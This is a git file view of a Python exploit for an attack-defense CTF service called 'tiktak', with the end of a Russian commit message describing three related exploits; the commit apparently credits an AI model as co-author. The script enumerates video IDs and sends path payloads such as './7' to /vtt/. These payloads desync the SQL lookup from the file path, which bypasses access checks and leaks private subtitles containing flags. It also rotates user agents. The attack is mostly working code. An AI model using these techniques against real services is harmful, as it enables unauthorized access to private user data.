- tiktak_vtt_path_traversal.py: ../ в ?id=, подбирает рабочий шаблон
один раз и переиспользует на остальных ID.
- tiktak_vtt_auth_bypass.py: рассинхрон SQL/FS ('./7' => MySQL 0, файл
public/vtt/7.vtt), работает даже если запатчат только traversal.
- tiktak_private_preview_leak.py: резкое превью приватного видео,
OCR опционален, без pytesseract молча не печатает мусор в stdout.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
113 lines
4.1 KiB
Python
Executable File
113 lines
4.1 KiB
Python
Executable File
#!/usr/bin/env python3
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import sys
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import re
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import random
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import requests
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USE_CUSTOM_USER_AGENT = False
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FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
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USER_AGENTS = [
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"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
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"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15",
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"Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0",
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"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
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]
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PORT = 5000
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EXTRA_DEPTH = 60 # how many ids below the feed window to bruteforce
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WATCH_RX = re.compile(r"/watch/(\d+)")
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def exploit(target_ip):
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flags = set()
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headers = {}
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if USE_CUSTOM_USER_AGENT:
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headers["User-Agent"] = random.choice(USER_AGENTS)
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# -------------------------------------------------------------------------
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# VULN: server/server.go:181-192 handleVtt()
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# v, _ := s.db.GetVideo(ctx, vid) <-- error is DISCARDED
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# if !s.haveAccess(ctx, uid, *v) { 403 }
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# return c.File(path.Join(s.c.VttFolder, vid+".vtt"))
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#
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# `vid` is the RAW query string, it is used twice:
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# 1) as a SQL value -> MySQL casts './7' to the number 0, no row matches,
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# GetVideo returns (&Video{}, ErrNotFound) and the error is thrown away.
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# The zero Video has Private=false and UserID=0, so haveAccess() returns
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# true for everybody (even for an anonymous visitor, uid==0).
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# 2) as a FILE PATH -> path.Join("public/vtt", "./7.vtt") == "public/vtt/7.vtt"
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#
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# => subtitles (where the checker stores the flag) of ANY private video are
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# served without login, without a share token and without an access row.
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# -------------------------------------------------------------------------
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try:
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s = requests.Session()
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s.headers.update(headers)
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base = f"http://{target_ip}:{PORT}"
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# 1. enumerate video ids from the public feed
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ids = []
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try:
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r = s.get(f"{base}/feed", timeout=5)
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ids = [int(x) for x in WATCH_RX.findall(r.text)]
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except requests.RequestException as e:
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print(f"[-] feed failed for {target_ip}: {e}", file=sys.stderr, flush=True)
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if ids:
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lo = max(1, min(ids) - EXTRA_DEPTH)
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ids = sorted(set(ids) | set(range(lo, min(ids))), reverse=True)
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else:
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ids = list(range(200, 0, -1))
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# 2. for every id ask for its .vtt with a payload that de-syncs
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# the SQL lookup from the file lookup
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for vid in ids:
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for payload in (f"./{vid}", f"x/../{vid}", f"/{vid}"):
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try:
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r = s.get(f"{base}/vtt/", params={"id": payload}, timeout=5)
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except requests.RequestException as e:
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print(f"[-] vtt {vid} failed: {e}", file=sys.stderr, flush=True)
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break
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if r.status_code != 200:
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continue
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found = FLAG_RX.findall(r.text)
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if found:
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flags.update(found)
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break
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except requests.RequestException as e:
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print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True)
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# -------------------------------------------------------------------------
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return flags
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def main():
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if len(sys.argv) < 2:
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print(f"Usage: {sys.argv[0]} <target_ip>", file=sys.stderr, flush=True)
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sys.exit(1)
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target_ip = sys.argv[1]
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try:
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found_flags = exploit(target_ip)
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if found_flags is None:
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found_flags = []
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elif isinstance(found_flags, str):
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found_flags = [found_flags]
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for flag in found_flags:
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clean_flag = str(flag).strip()
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if FLAG_RX.fullmatch(clean_flag):
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print(clean_flag, flush=True)
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except Exception as e:
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print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
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if __name__ == "__main__":
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main()
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